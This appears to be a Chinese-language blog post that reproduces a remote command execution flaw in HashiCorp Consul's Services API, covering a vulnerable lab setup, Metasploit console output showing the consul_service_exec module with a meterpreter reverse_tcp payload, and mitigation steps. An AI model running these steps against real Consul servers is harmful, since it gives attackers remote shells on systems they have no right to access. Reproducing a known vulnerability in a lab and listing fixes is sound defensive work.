Hashicorp Consul Service API远程命令执行漏洞
Preface
简介
Consul是HashiCorp公司推出的一款开源工具,用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案相比,Consul提供的方案更为“一站式”。Consul内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案,不再需要依赖其他工具(例如ZooKeeper等),使用方式也相对简单。
Consul使用Go语言编写,因此具有天然的可移植性(支持Linux、Windows和Mac OS X系统);且安装包中仅包含一个可执行文件,便于部署,可与Docker等轻量级容器无缝配合。
在特定配置下,恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下在Consul服务端远程执行命令。
环境搭建
从 https://releases.hashicorp.com/consul/1.2.4/ 下载相应 Linux 版本,直接启动服务即可。
./consul agent -dev -client your-serv-ip -enable-script-checks
访问:http://your-serv-ip:8500/v1/agent/self
启用了 EnableRemoteScriptChecks: true

漏洞验证
使用 MSF 进行测试,简要过程如下:
| msf6 > search HashicorpMatching Modules================   #  Name                                    Disclosure Date  Rank       Check  Description   -  ----                                    ---------------  ----       -----  -----------   0  exploit/multi/misc/nomad_exec2021-05-17       excellent  Yes    HashiCorp Nomad Remote Command Execution   1  exploit/multi/misc/consul_rexec_exec2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Rexec   2  exploit/multi/misc/consul_service_exec2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Services APIInteract with a module by name or index. For example info 2, use 2 or use exploit/multi/misc/consul_service_execmsf6 > use 2[*] Using configured payload linux/x86/meterpreter/reverse_tcp | 
可以看到成功创建 meterpreter。

修复措施
- 禁用Consul服务器上的脚本检查功能
- 确保Consul HTTP API服务无法通过外网访问或调用
- 对/v1/agent/service/register 禁止PUT方法
参考
https://blog.csdn.net/qq_44159028/article/details/115870000
https://releases.hashicorp.com/consul/1.2.4/
https://blog.pentesteracademy.com/hashicorp-consul-remote-command-execution-via-services-api-d709f8ac3960
以上!
-------------------------------------------
个性签名:如果世上的事都按你说的道理走 世界就不是现在这样了!
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!

 
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号